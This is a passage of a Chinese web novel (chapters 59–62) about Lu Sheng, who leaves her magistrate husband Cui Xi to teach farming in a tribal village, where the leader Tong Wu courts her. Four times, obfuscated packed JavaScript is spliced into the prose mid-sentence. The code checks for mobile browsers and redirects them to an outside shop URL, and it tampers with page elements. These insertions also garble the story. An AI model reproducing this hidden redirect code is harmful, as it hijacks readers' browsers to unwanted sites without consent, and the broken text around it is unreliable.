陆笙噗嗤一声笑出来,她说这叫什么算卦,不过是看面色推测的,连这也要算卦的话,那看到天边阴云聚集,电闪雷鸣是不是也要算一卦才知道要下雨呢? 葛聆忽然双手抬起向陆笙合十,轻轻鞠一躬后转身离开。 走到一半他回头对陆笙说:“姐姐,我为你算了一卦。卦象说你留在这里只有无解死局,如此你也不离开吗?” 陆笙愣一下,死局两个字没有留下印记,反倒激起了脑海里的一堆杂事。她还没有给老庄和阿木凌回信,丰娘的兰花、菖蒲每天都要挪位置,夏天的菜还没教给阿灵,阿椒还…… 按下如野草一般旺盛的杂念,陆笙答:“不离开。” 她不知道为什么要离开,这一卦没有落在她心里,风一吹就散尽,而且仅仅是一卦,她还是不信。 葛聆拜别,陆笙看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268266|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的背影心里忽觉哀伤,仿佛他此去也是一场不再相见,动如参商。 - 回道退休居,她轻轻推门,但木门还是发出了声音,这让陆笙微恼,要是把崔息吵醒了,不还得编造个理由搪塞么? 她是凭借意志力走回来的,快没有理智编不出理由了,只想睡觉。 眼皮半合不合,手拨开木珠帘,支撑着愈发困倦的身体往里走,没走几步却被拦住。 抬头一看,果然是崔息。 “云尘,吵醒你了么?”陆笙问他,想绕过去却被崔息拦腰抱住,他的手像藤似得缠着自己的腰,挣脱不得。 陆笙想起三月三日那天的拥抱,也是如此,自己简直似无尽河流之中的稻草,单薄一根,但崔息却视她为救命之法。 陆笙被睡意搅着,又被他卷缠着不放,心跳压在他重重呼吸之上,一颗压一颗,像溺水时那串长长的水泡。明明站着却仿佛跌入深水之中,崔息带着她一起下沉。 “崔息,太……太紧了,我……”陆笙觉得难以呼吸,崔息把头往她颈窝里埋,手只吝啬地松开三分。 陆笙觉得他有些不可理喻,想退后几步的时候他又缠上来。 柔软的带着几分薄荷的气味,陆笙眼睛睁大,这不是他身上的气息! 崔息两片柔软的唇带着一点试探,手却紧紧箍着不肯松。 沉水吧,沉下去…… 陆笙闭眼,再无法思考。 到这一步已经无法回头,她环抱住崔息,咬了一口。 崔息理智稍回,微微张口在前进与后退之间摇摆了一瞬,陆笙趁虚而入,原本不多的理智被欲望挤出。呼吸与欲念合二为一,崔息的手微微颤抖拂开水中花似得去褪她的衣服,一点又一点,两个人体温渐渐明显,互相熨帖。 崔息喉结滚动,手一使力像潮水扑倒在床上,只是在几乎要坦诚相待时却响起一阵烦人的敲门声。 秦厌的声音此时显得无比可恶!! “公子、笙姐姐,有客来访!” “不见!!”他牙关紧要,但还是忍不下那一股冲冲的怒气。 崔息现在耳朵赤红,恢复的一点理智为自己形如急色之徒而羞愤,可欲望如海,自己是无楫之舟,只能顺着漂流或者沉没。 陆笙怀抱着他,等着秦厌离开,可他的声音不肯退去。 “公子,是南边土人首领派来的人,不见……不合适吧。” 崔息手扶额,第一次在公与私的问题上发生为难。 “去见人吧。”陆笙从床上支起身体,捡起被揉皱的衣服搭在身上,最后一步一步踏上木梯。 崔息穿好衣服,蹀躞带围好时她已没了身影,仿佛刚才只是他奢望的春梦一场。 陆笙听着门开启关闭的声音,蜷缩在自己的被里,眼睛闭着,睡意如水无孔不入,于是她渐渐失了意识。 不知睡了多久,她觉得脸上有一些凉意,一点又一点。 触觉的回归后其他感觉也争相回拢,陆笙感觉指间有松软的泥土和腐叶,鸟鸣声此起彼伏。 这里不是退休居! 她猛然睁开双眼,绿意如漩涡搅得人发晕,繁盛的铺天盖日的绿意围绕着她,是陌生又熟悉的山间景象。 “陆笙,醒了?” 一个男人的声音从不远处响起,惊疑因此退去。 60. 第 60 章 信誓旦旦地对葛聆说不会离开,但此时陆笙却正在离开的路上。 其实比起离开用逃跑来形容更合适。 那天睡醒以后陆笙就后悔了,怎么忽然就收不住呢? 如今他们两个人又要如何自处,总觉得见面都会尴尬。 陆笙坐在屋子里不动作,直到沈莲丰来唤她,说是黑寨首领派来的人点名要见她。 “阿郎把时间排到了晚上,说你疲累正在休息,我看时间差不多就来唤你,娘子先随我去梳洗吧。” 黑寨首领有点像村正,但是黑寨人数更多,地也更广,常常是几个村寨围着一个黑寨,听说这几年更是经历了大分散与大合并。 还有最关键的一点,朝中任命的县令对黑寨并不能完全管辖,陆笙自然是懂得其中的复杂性的,所以只点头,没多问。 沈莲丰又是亲自为陆笙梳洗打扮,娘子的妆叫谁来画她都不放心。 只是一与来者会面陆笙便有些吃惊,那来的人不是别人,是桐吾!隐朱绳就是他送给陆笙的,说是谢救命之恩。 阿木凌告诉陆笙,按照这个人名字的本意翻译过来应该是凤昭的意思,即凤凰的光辉,这个姓应该是个地位不低的人物。此处的土人有信凤凰、阳乌、腾蛇的,像隹氏,从姓氏上来说应该就是凤凰或者阳乌寨的。 今日桐吾穿着深蓝斜纽的褂子,健壮的身躯把胸口的两处撑得很鼓,额头上绑着一根赤色的牛皮绳,靠近右耳侧坠了几片金花,麦色的脸庞上挂着笑,看着陆笙他眼底里是溢出的欢喜。 陆笙惊讶过后是疑惑,明明有正经的可以被辨识的名字,为何今天用的音译名来此。 谈话开始以后陆笙逐渐明朗,原来是为耕种的事。但始终不说缘由,是为黑寨人口数量增加呢,还是其他原因。 崔息对桐吾的请求作推卸:“永平县商路方通,百废待兴,此时要求农耕之才一时无计,需等待些时日。至于请我夫人为此远行,此言荒诞无稽还是不必再提。” 他在暗示陆笙桐吾的请求,求崔息不成必然还会去问陆笙,土人不懂他们的礼。 果然,听完这番话桐吾绕过崔息直接问陆笙,问她愿不愿意。 崔息的目光发沉,准备斥责一番却听到陆笙的话。 她说:“我去!” 莫名其的,她在桐吾说完以后产生了一种强烈地想要逃离的欲望,选择就在眼前,只要两个字就可以离开。 崔息看着她的眼睛时候陆笙觉得大脑一片空白。 像是怕反悔,桐吾要带着她连夜出发。 沈莲丰慌张地准备了些衣物和钱财,又喊秦厌去拿自己的长刀和短剑,秦厌叮铃哐啷抱了一堆东西过来放在车里,又抱了许多把刀剑过来供她选择。 陆笙选了崔息为自己买的那把,刀鞘她已经配好,木胎红漆,螺钿嵌了朵樱桃花,霞光流转其上美丽异常。 分别时两个人都在说早日回来,陆笙的心情像满溢的井,明明水一直是在井口以下才对,这时候却不断上涨,最后流淌出来。 沈莲丰为她擦擦眼泪,她说:“娘子莫哭,出去散散也是好的。” 她知道这些日子陆笙没有消停过。 修屋造房、应付乡绅、亲朋分离、出计炸石等等等,她太累了,甚至还弄来了曲辕犁,有了这曲辕犁的模样,匠人也好仿造。而且此去有利土人与北人缓和关系,毕竟南部的大片地还未王化。 想到此处沈莲丰愣一愣,诶,怎么还是休息不得。她抓住陆笙的手放在脸上,娘子手心并不光滑,但是很温暖。 舍不得她走,即便她说自己熟悉那,还会讲土人语,可于自己情于理自己都不好拦她。 秦厌站在旁边眼睛也红红的,擎着蜡烛不说话。 他心里难受,本来自己也可以去的,但是最近一直在思考种树缫丝的事情,一离开事情就要拖延下去,笙姐姐此行不知多久,时间太短他根本考虑不清楚。 陆笙看两个人痛苦神色,拍拍二人的肩说:“我在黑寨有朋友,不必担惊受怕。” 说完又往宅院的地方望,明知那里只有照壁还是看了几眼。 临别前心里想见的也有崔息,但他没有出来相送。害怕见面,也害怕不见面,自己的心如藤蔓悬重果。 叹息一声,桐吾又给他面上洒了山泉水 “你都写得睡着了,还没写完么?” 桐吾给陆笙递了一个竹筒,里面是清澈的山泉水,喝起来甘甜清冽。 陆笙忽然笑,周围绿意环绕自己在这写文书的模样简直像极了旅游时夺命连环call后翻开笔记本加班的样子。 不同的是这一次她是自愿的。 这上路的开始两天,她几乎是睡过去的,这是陆笙穷思竭虑后大脑的自我保护。 从第三天开始陆笙感觉清醒一些,坐在摇晃的车里呆呆地发愣,心里是为自己的一走了之的负面情绪。虽这件事其实是必然要做的,它关乎土人与北人未来的相处,土人肯发出请求也有交好的意味。 在和桐吾聊天的时候她还得知黑寨因为与南边通商所以富裕起来,人口逐渐增多,但种田本事实在差劲,然后跟商人购买粮食又十分昂贵,所以他特地来此求一个农耕人才给予指导。 也因为必要,所以桐吾在路上也抱怨说:“我给县令大人的条件十分优厚,也不知他为何不肯,隹家那些个人我说话也是有用的,这县令真是……” 说完崔息,他又朝陆笙道:“听说你是缺钱才找的县令,你怎么不找我?” “找县令?我怎么有本事找县令,是县令找的我。” “啧,要我说你要是男人不知比人家强多少倍,我还想着你当永平县县令呢。” 陆笙干笑两声摇摇头,晃去心里杂乱的心思继续写她的信。 “诶呀,你到底要写到什么时候,春末了,好景你不看一天到晚拿着这破笔划拉什么,人家离了你又不是不行,不行他当个屁的县令!”桐吾看着陆笙这副样子就来气,蔫巴巴的。 陆笙头也不抬,笔在纸上游走。 写着写着,陆笙忽然明白,这也不算不辞而别,顶多是暂时的逃避。你看,这不是还在处理突然出行的未竟事?未来不知如何,但她和崔息已经尽力。 想到崔息陆笙觉出这次逃走的必然性,就像葛聆在大明宫不得不当个监正,他无法掌控自己。 而自己在县令府里就必须是县令夫人,并没有她以为的选择。 所以退后一步也挺好的,做一回风筝。 “陆笙,如果我说我也能庇护你呢?”桐吾靠在马车上,抬起手将嘴角的水渍抹去,他眼神带着强横的自信,笑容明亮。 陆笙只瞥他一眼劝他:“怎么,要还当初我庇护之恩?不必了,举手之劳。” “不,我不是这个意思。”他给停在肩上的鸟雀喂了搓细的干粮,又逗弄它几下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282316|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,鸟雀蹭蹭桐吾的手指才离去。 “那你什么什么意思?” 陆笙看着他的动作有点羡慕,她现在觉得召鸟雀很有用,万一可以拿来对付吃她果蔬的虫子呢! 可惜对学鸟语她没天赋,召唤不来一只,或许是学蛇语在先让它们发现了。 “嫁给我。” 陆笙直接一口水喷出来。 “不愿意,滚。” 心情平静完她把竹筒里的水全部喝下,信忽然就不想写了,大事已毕,小事永远写不完,就到这里吧。 “帮我把信递出去。”陆笙把信封好交给桐吾。 “这么使唤我?我可是首领……” “少废话,你可是有事相求。” “好好好,我这就帮你传。” 桐吾见她如此脸上笑容更盛,这才是陆笙,蔫巴巴的样子简直让他恨那个县令恨得牙根痒痒。 摘一枚树叶放在唇边,气息略过化作长鸣,树林子里立刻鸦雀无声。不一会儿一声尖锐的鸣叫自上传来。 陆笙抬头发现是一双遮蔽天日的翅膀,桐吾把手中的信网上一抛,大鸟翻飞捉住,一拍翅膀身影没入远处的树影,但倏忽又化作一个黑点向上,几回后再看不清。 “要是下雨我的信会不会湿了?”陆笙摸摸下巴忽然开口。 “会吧。”桐吾城市回答。 陆笙无语但也不再提及,让一切暂时过去,人力嘛,肯定有不逮的地方。 - 秦厌这几日都不敢大声说话,公子面色阴沉得厉害。那天是他自己不去送,拿了一堆东西算什么本事?分开不去送多让笙姐姐寒心呐! 今晨他不知从何处拿了一叠厚厚信件,看了以后脸色才舒缓一些。 崔息在退休居里看陆笙寄回的信,不知她用的什么法子送来的,但信确实落在退休居门口,字迹骗不了人。 其实有一瞬间他以为是陆笙回来了,可是叫喊了几遍他才觉得荒唐。 信的内容通篇全是公务公事,他翻来覆去找不到半句私情。 说不后悔不去送肯定是假的,可他那天也不能去送。他真怕自己一剑递上那个土人的脖颈,事赶事,情绪赶情绪的时候理智已消失殆尽,剩下的全是本能的欲望。 尤其是上午他与此人交谈时,此人特地说陆笙是首领旧友,交情匪浅,那神情,分明是在暗示些什么。那一瞬崔息心里升起的全是如何让陆笙不去。 崔息对自己失望也痛恨,为什么,为什么他有那么点像自己厌恶的人。离开这里她会有更自由的世界,但是他却要做那条锁链。 “公子……” 秦厌这次轻轻地敲门,喊他的声音也轻轻的。 “进来吧,小心些,别让木珠帘打结了。”上次秦厌的长刀一晃,木珠帘就缠结在一起,崔息坐在月牙凳上解了一炷香的时间还没解开。 “什么事?” “是谢家的帖子。”秦厌把怀中的帖取出来,拆开来那信笺用的还是花色笺。 崔息大致翻了几眼,脸色愈发地冷。 “公子,他家又有什么缺德事了?” “事他家的喜事。谢林的大女儿谢栖真要与赵昙喜结连理。” “赵昙是谁?”秦厌觉得这个名字好耳熟。 回想了片刻他脑海中终于有了对应的目标。 秦厌一脸震惊地说了句:“天杀的,是上一任永平县县令?!” 61. 第 61 章 经过一处黑寨,桐吾跟熟人将马车换作一马一驴,因为后面的路不太好走,驮马和小驴比马车安全。 路上,陆笙戴着斗笠看看天,阴云密布的,似乎要落雨,但她兴致不减,在野外自有野趣。 特别是眼下快到谷雨时节山上杜鹃已次第开放。这一丛,那一簇,像落在绿波里的花瓣,绵延的绿林是湖水,高低的山川丘陵是风浪。 “还是外头好吧,比你待在一处宅院里强多了!” 桐吾拿着一根翻山时掰的蓼黄茎边咀嚼边问,看她连呼吸都要多贪几口就知道肯定是憋坏了。 “有好有坏,哪有全好的。” “嘴硬。”桐吾继续嚼,蓼黄茎味道很酸但解渴。他目光往远阔处看,洁白的雾气从山谷升起,仿若奔马后的尘埃。 在高处远处看这雾感觉它流动得很缓慢,但实际它蔓延地飞快,估计不过一刻钟就要淹没此山。 “陆笙,我们得快些走,仙境要来了。” 仙境是北人给这个雾起的名字,因为此雾甚浓,一旦蔓来天地间就只剩下你自己。 桐吾不理解渺渺登仙的意象,只觉得愚蠢,雾气里行走容易出事。 但陆笙算是北人,所以他就用这个词汇向她描述,为她听得懂。 “嗯,我也瞧见了。” 停止走镖不到半年,她的直觉和经验并没有完全消退,在外面也是习惯的眼观六路耳听八方。 两个人急匆匆地赶了一会儿路,雾却还是追了上来。陆笙不敢再走,吹了一声口哨提示桐吾,免得他冲撞上来。 特别现在还是下坡,容易出事。 雾气愈来愈浓,垂下的手也淹没在里面,轻微搅动一下有风流雾散的错觉。 这场雾还携带了几分远处的花香,陆笙轻轻地啜两口。 只是身边的小毛驴在此刻有些焦躁,时不时昂首发出叫声。 “今天这场雾古怪,怎么这么久还没散?”陆笙感觉衣袖都开始沉重。 “这些日子降水多,再等等吧,要是你怕,可以捉住我的手,你顺着马的鬃毛摸索过来就是。” “不必了,你自己捉自己的手吧。” 陆笙懒懒反驳,又皱眉补了一句:“以后不要说这种话。” “什么话?捉你的手?”桐吾声音里压抑着一丝怒气。 “难道被迫嫁给那个县令你还要替他守节吗?!再说了,我也没有占你便宜的意思……” “只是我一点也不怕。” 陆笙没有反驳守节这句,是因为不想啰嗦解释。 她的观念里没有因为嫁人所以要守节这种屁事,但喜欢或者说爱不一样,它天然带着排他性,陆笙只想触碰自己喜欢的,自己爱的。 就是它们都太震撼,像大潮,一旦来临便身不由己。 陆笙又不喜欢这样,以至于她需要退后一步思考,它们跟突如其来的这场雾一样,把自己困住了。她不是那种摆弄逻辑和诡辩的人,只是希望心与行合一。 别想了别想了!陆笙敲敲自己的头,又拍小毛驴的背,但心情是迷惘的所以小毛驴也没有安静,它的前蹄不安地踏了几步。 忽然之间,她想到些什么,身体有些微微发僵。 因为她察觉在几个瞬息的时间里桐吾的动静居然没有了,没有呼吸,没有插话。她下意识握住自己的刀柄,闭上此时无用的眼睛认真倾听周围动静。 之后剑光闪烁。 “你出剑比以前快多了,差点割下我的头!” 一个血红的面具出现在陆笙的左后方,桐吾的声音从里面传出来,闷闷的。 而陆笙的剑把面具和自己连了一条线,线的末尾是一抹血。 “还不是你自找不痛快。” 陆笙语气平淡,虽然猜到了一点,但没想过他会这么无聊。把随身携带的药粉扔给他,用纸装的那种。 自从杨珞云给陆笙递过药粉开始,她就给自己也装上了几包,不管走不走镖都随身带着。 “还好伤口不深,不然我就要赖上你了。”桐吾语气带着点笑,丝毫不怕人头落地似得。 “你是越活越年轻,佩服佩服。” 桐吾假装听不懂她的阴阳怪气,他说:“试试你的胆气,我发现隹家人在永平县待多了就失了胆气,怕你与他们一样。” 陆笙翻个白眼,自己胆气小与大跟他有什么关系?管得真宽。 此时天上的阴云忽然散开,藏在云后的日光遍洒,白雾也开始一点点退去。 到能看清彼此的时候,两个人继续往前走。陆笙算了算路程,还有五六日方能到。 “桐吾,还好几日才到,到时候你打猎我做饭,这山头我不太熟。” “不必的,寨子最近发现个方便向外走的曲折山洞,穿过去就好。” 每当这种与陆笙记忆有出入的时候她就自觉提防,和桐吾相处过一段时间,但人也会变的。 “啧,陆笙,你闻起来不对。” 桐吾鼻子嗅一嗅,嗅完自嘲:“放心吧,若有害你之心,我死后魂魄不得化作凤凰” 这话挺重的,陆笙摸一摸鼻子催促他快走。 初极狭,才通人。复行数十步,豁然开朗。 陆笙跟着桐吾走过那山洞时心里对陶渊明这句话有了具体的认识。 那条路开始时马儿都难以通过,后来视野之中光越来越盛,最后一片村寨安然地躺在山岭的怀抱中。 周围满山的红花与黑寨特有的黑色屋顶相互映衬着,如此美丽,也如此神秘,自己好似神话之中的凡人误入秘境。 又因为美得太过坦然,陆笙掐了掐自己的脸。太美丽的事物震撼普通凡人后,凡人担心的第一件事总是它的消散。 “发什么愣,最后几步路走不动了?” 桐吾笑着去赶她那一匹驴,留她在身后慢慢欣赏。 陆笙喜欢看山野之景,不管如何普通她都有一套说法,桐吾曾经见过她对着山里的水大呼小叫,捧着鱼像捧着金银财宝。 不过她杀鱼倒是特别快,刚才还异常欣喜后面手起刀落就杀完了,滑溜溜的鱼也不知道她是怎么捉住的。 跟着桐吾一步步拾阶而上,陆笙敏锐地发现台阶明显是才铺不久,石头上还有不知是哪处带来的泥,微微泛红的,和周围的土色不一样。 有些石头缝隙里还卡着树木的根茎,雨水打去泥土,白色的木质露出来,一些被擦碰的地方撒开几缕纤维。有些地方的树皮被泡了太久,已经开始发烂。 看这个施工时间,估计是桐吾出来时才做的。 这片寨陆笙有点不清楚是哪里,想仔细看的时候一群人乌泱泱地往这里来。 踏上一个相对较大的平地以后陆笙有些震惊,怎么这么多人? 这欢迎仪式也太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桐吾带着些无奈把陆笙引来到屋子,卡铃、卡依已经在屋前等她。 两姐妹和陆笙一起往更南边走过,那里全是密密的树林里湿热无比,她们跟着桐吾一起出去贩香还有一些名贵玩意。 当时没问她们的商路,如今她却很感兴趣。这片土地到底是什么模样,到底从哪里能走到哪里? “陆笙,你怎么变成这样了?白得像我们家地里冒出来的菌子。”卡铃戴着一对银耳环,牙齿百如贝,乌黑的眼睛跟天上的星子似得发光。 卡依在旁边对她招招手,她和姐姐长得很像,但人文静一些。她喜欢吹木笛,最擅长的是土弓,用箭无虚发来形容都合适,陆笙的箭术就是跟着她长进的。 “你就跟着她们吧,明天犀木会来找你学耕地的。”桐吾刚说完就被人叫走。 陆笙其实有注意到,来到黑寨桐吾的那股子混不吝的劲就不见了,眉头一直轻轻皱起。 比起他成为黑寨阿克,他这般模样更让陆笙感慨。 卡铃和卡依帮陆笙搬行李,她的房子有一扇大窗,打开能瞧见重叠的山峦,屋后那一股清泉洗石的声音也如在耳边,真是个好地方。 62. 第 62 章 晚上火焰会,卡铃、卡依就请陆笙来屋后刚修好的池水里泡泡,去去一路的风尘。其实这池子早就发现了,可当时没钱修。 不过她又有点不好意思,毕竟以前都是在屋子里洗,忽然要去室外泡她还是需要些心理准备。 卡依知道她的顾虑,吹了几声哨,请三只莺鹂站岗,毛茸茸的小鸟在那啄食豆饼,它们的站岗薪资。 陆笙心里觉得这有什么用?但最后心还是一横,洗! “陆笙,听说你留在县里做了阿克夫人?”卡铃靠在石头上问陆笙,石头一直被水体温热着靠上去很舒服。 “是叫县令夫人。”卡依纠正姐姐。 “反正就是这个意思,陆笙听得懂!” “嗯,去年年底成的婚。”陆笙还挺惊讶的,阿木凌跟这片黑寨也没联系,怎的她们都知道自己嫁给了崔息。 卡铃闻此面上笑容灿烂几分,卡依看姐姐的模样眉宇之间却有几分无奈甚至是哀愁。 陆笙读到了,但是不明白。 “是桐吾差人打听的,他一直留心你的下落,黑寨越来越好以后他本是要同你说亲的。”卡铃开门见山道。 “我不会绕弯弯子,所以直说了,我喜欢桐吾,将来要做他的阿克夫人,同他一起把黑寨管好,就算你还没成婚,我也会去跟桐吾讲的。” 卡依在旁边说了句:“你瞧她这个气势!我跟阿姐说做有情人哪是这样子的,要两个看对眼才好,她这模样就像去打猎一样,眼睛跟火炬似的。说话口气好比七月里的太阳,一下出来,烫得你无处躲。” 卡铃给她泼水,又轻轻点一下妹妹的额头问:“那犀木若是有顶喜欢的人,但人又不是你,你会怎么做?” “我,我,我打得他往野猪泥坑里钻!”卡依一下面孔涨得通红,说完又惊恐地看一眼陆笙。 “哈,现在有你们之外的第二个人知道了!”卡铃挑眉。 陆笙把自己身体下沉,让水面淹得只剩下一双眼睛,她们俩吵闹泼水实在太厉害,与其鼻子里呛水不如直接沉下自保。 但是卡依下面一句话叫陆笙差点呛死,她问:“陆笙,听说北人有什么房中术,讲男女交合的,你会吗?” “这是养生术,不全是取乐的。”陆笙稍微判断了一下她的目的。 土人这方面有点儿像先秦,三月三春来时相会,带着一种原始的天然。 情动便是情动,是春夏秋冬一般的自然萌发、变动。 “再泡一泡就起来吧,我听见好多脚步声。”说完卡铃又跟陆笙解释,“今年的火焰会别的寨也要来,看看我们黑寨的模样……” 那怪不得桐吾要皱眉头,人一旦多起来事情就复杂,说不定这回还要举办些什么比赛互相比比强弱。 卡铃与卡依在火焰会各自有职责要完成,换完衣服就离开,她们互相挽着手唱火焰会的启歌。 她们唱,别的屋子前也有人接,声音四面八方地传过来,风又送来更远处的歌声。 天边一抹未消散的阳光,失去阳光的暗色杜鹃在歌声里摇曳。 陆笙觉得仿佛像演唱会,只是听歌的人是左右山坡的绿草、鲜花还有飞鸟。 哦对,还有她这个外来者,她站在屋前静静地听,直到天地失去最后一束光。 夜色降临,火焰节便要开始,火把在远方一粒又一粒的亮起,黑寨睁开了属于它自己的眼睛。这节日是土人最重要的节日之一,一年要过两次,桐吾那句为她过的纯属玩笑。 陆笙去隔壁屋借了一束火光,把屋子里的灯点起来,今天的火都要点阿克亲自取的,是为传福。 是无比温热的明亮的火光,陆笙盯着看了许久,以至于闭眼的时候还有一片残留的灯影。 虽然她答应了桐吾去火焰会,但没说是什么时候什么地方,坐在这里也算参加吧,陆笙朝着窗外看,山上星星点点,像天倒影在这片黑色大地。 看得久了陆笙换了个姿势,她支着下巴对着墙发呆,能感觉到心里的焦躁像毛刺似得一点点明显起来,想法略过都被剐蹭出裂痕。 这份焦躁主要来自于行李,陆笙知道里面有崔息放的东西,她瞧见秦厌搬上去的。 想到那天她不由站起来,左右走两步最后脚步一跨上了楼梯,“噔噔噔”地带着烛火同行回屋。 他到底放了些什么呢? 陆笙擎着灯火打开其中的小木箱查看,几封信躺在里面,是老庄和阿木凌的信,最上面的两封她没看过,其他的她都看过。 信一直放在壁炉上,因为她常常要拿出来看看,也没有避讳过崔息,想来他是那个时候注意到的。 再去翻包袱,里面是丰娘为自己准备的衣物,还有薄披风。 她翻,再翻,继续翻。 发现了桂花糖都没有找到崔息给自己的属于他的特殊物件。 陆笙心里生出一股闷气,像信誓旦旦能得五颗红心的小朋友发现自己一颗都没得,虽然自己是有些地方做得不好,但起码给一颗呢? 对生出这样情感的自己陆笙觉得异常,甚至惊恐,这不该是自己的感情! 怎么会有小孩子一样的无理取闹,怎么会感情压了理智好几头。 可是确确实实是如此感受的,它异常地让陆笙想要否定。 想着看信,最后也没有看,她动作轻柔地把信笺放好,再“啪”一声关了木箱子。这黑夜里字迹不清,也怕火星子烫走字迹,准备明日再看吧,现在也烦躁得很。 此时桐吾已为最大的火塘点上篝火,两三米高的火焰照亮围成大圈的人们。大家挽手跳舞,一边唱一边跳,酒还放在附近的板车上未卸。 桐吾被大伙儿拉着跳舞,卡铃在他身侧。 跳了不多久,他突然低头。 卡铃已经闻到他身上的草木气味,这时又见火光点亮他明亮深邃的眼睛,还有只是微微弯曲手臂就能看到如峦起伏的肌肉,哪怕贴在自己的手臂上也轮廓依旧。 这就是自己的心上人,也是黑寨阿克。 可他开口却问:“陆笙呢?她怎么没来?” 卡铃的笑容退了几分,但还是回答:“她在家里呢,想过来的话就会过来的。” “桐吾,这火焰会不是为她办的,是为黑寨办的,你是我们的阿克。” 桐吾看到她眼睛清澈的一汪,但里面盛了苦酒,是卡铃对他的失望酿成的。 “对不起卡铃,我只是想让陆笙看看。”桐吾想让她看看自己和别寨阿克的较量,他是最强的那个。 “你更应该关心黑寨里的大家,陆笙是北人,不会留下的。”卡铃提醒他。 心上人不愿钟情自己固然伤心,可现在是黑寨往前走的关键时期,卡铃更不希望他犯蠢,或者说痛恨他犯蠢。阿克如同朝日的第一缕光,是为大伙指明方向的。 她跳一会儿就走开,坐在板车上眺望远方。 今日火把如星,恩怨被驱散,不同寨子的人都拿着一样的火把,供奉同样的火焰。 人们走过雨后的古道,描绘出所有内与外的路径,走上高高的荒草绝壁,查看忽视的家园,大家纪念应当纪念的一切。 黑寨土人都在屋外,屋里只有陆笙在睡觉。 她听着泉水与遮盖鸟鸣的模糊歌声走入长长的用疲惫作砖搭建的通道,但是总还没来得及看到通道后的梦与想她就失去的意识。 陆笙今天只是沉睡,梦都未曾发作,直到被人唤醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306581|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陆笙?陆笙!” 这一场睡眠中断,疲惫更甚,陆笙甚至觉得没有力气睁开眼睛。 以为外面已经天亮,可睁开眼还是一片漆黑。 “陆笙,焰火会已经快结束了。” “那你把我叫醒做什么?”她深呼一口气压下被打扰的愤怒,真是匪夷所思,既然结束就应该睡觉。桐吾是怎么回事,不会疲累么? “你之前不是想看青峰绝壁的日出么?就今天,今天我带你去!”桐吾拼命地摇晃她。 陆笙狠狠推了他一把,说自己不愿意。 桐吾想直接把她扛走,臂弯快要在她身后合拢的时候陆笙忽然抽出细刀子。 她把刀子抵在他喉间冷声问:“你想做什么!” “陪我去看一次青峰绝壁的日出,就一次。” “我要在这里待上一两个月,甚至三个月,你急什么?”陆笙不肯妥协。 “我要出寨子办事,我怕没命来见你。”桐吾说到这里忽然冷静,松开了手。 陆笙有些惊诧,什么事情要这样强壮又年轻的阿克的命,但她也不准备问。 “你还是不愿意吗?”桐吾的情绪有些低落。 “你去备马吧,我马上下来。” “好、好、好!你待会儿听到我的哨声就知道是我来了。”他兴奋的离开房间。 陆笙拿细刀子扎了自己指尖一下,红色的点在锋芒退却的地方扩大膨胀,最后变成一颗珠。陆笙拿刀背刮去血,给自己上了些白药,疼痛使她清醒并且确认现在不是在梦里。答应完她其实有点后悔,不应该心软的。 她盘腿坐起来,打开窗向外看,此刻只有零星的火点,河边不再亮彻。迎面不断有清凉的山风吹来,洗去自己因为睡眠不足而产生的精神污垢。 陆笙闭上眼抬头静立了几个呼吸,而后打开自己的行李拿出那还未看过的两封信揣在怀里,这是行李里最重要的东西。 刚准备完,底下响起一声哨。 与陆笙同样给予回应的还有山后的几只小鸟,走楼梯的时候还能听到它们扑腾翅膀的声音。 陆笙想,如果有光照过,应该能瞧见它们鸟羽下上升的热气吧。 下到楼底的时候卡铃和卡依还没回来,陆笙拿隔壁屋子的炭给她们写了消息。 “还是信不过我?”桐吾有些无奈,亏他还拿着火把为她照明。 “总得留个消息。”陆笙没有否认。 写完她又仔细检查一遍,桐吾在她再三确认后才骑上马,他自己的马儿毛皮光亮,在火把烈烈的光芒下显得极为精神,甚至有些威武气势。 分给陆笙的马也不差,陆笙抚摸一下马驹,喂它几块豆饼才骑上去。 马蹄“哒哒哒”地响起来,像走镖启程,陆笙居然有点怀念。 走了一段路,陆笙发现桐吾不再像之前一样多嘴,背影也多了几分沉郁。 两匹马迈着不大的步子,把两人带入林子,又带出林子,出林子的时候陆笙已经看见清峰绝壁,之前也是这么遥遥一眼,或许是土壤深度有限,那斜坡只有草没有树。 火把烧尽最后一点光亮,启明星也渐渐失去光辉,天边露出鱼肚白。 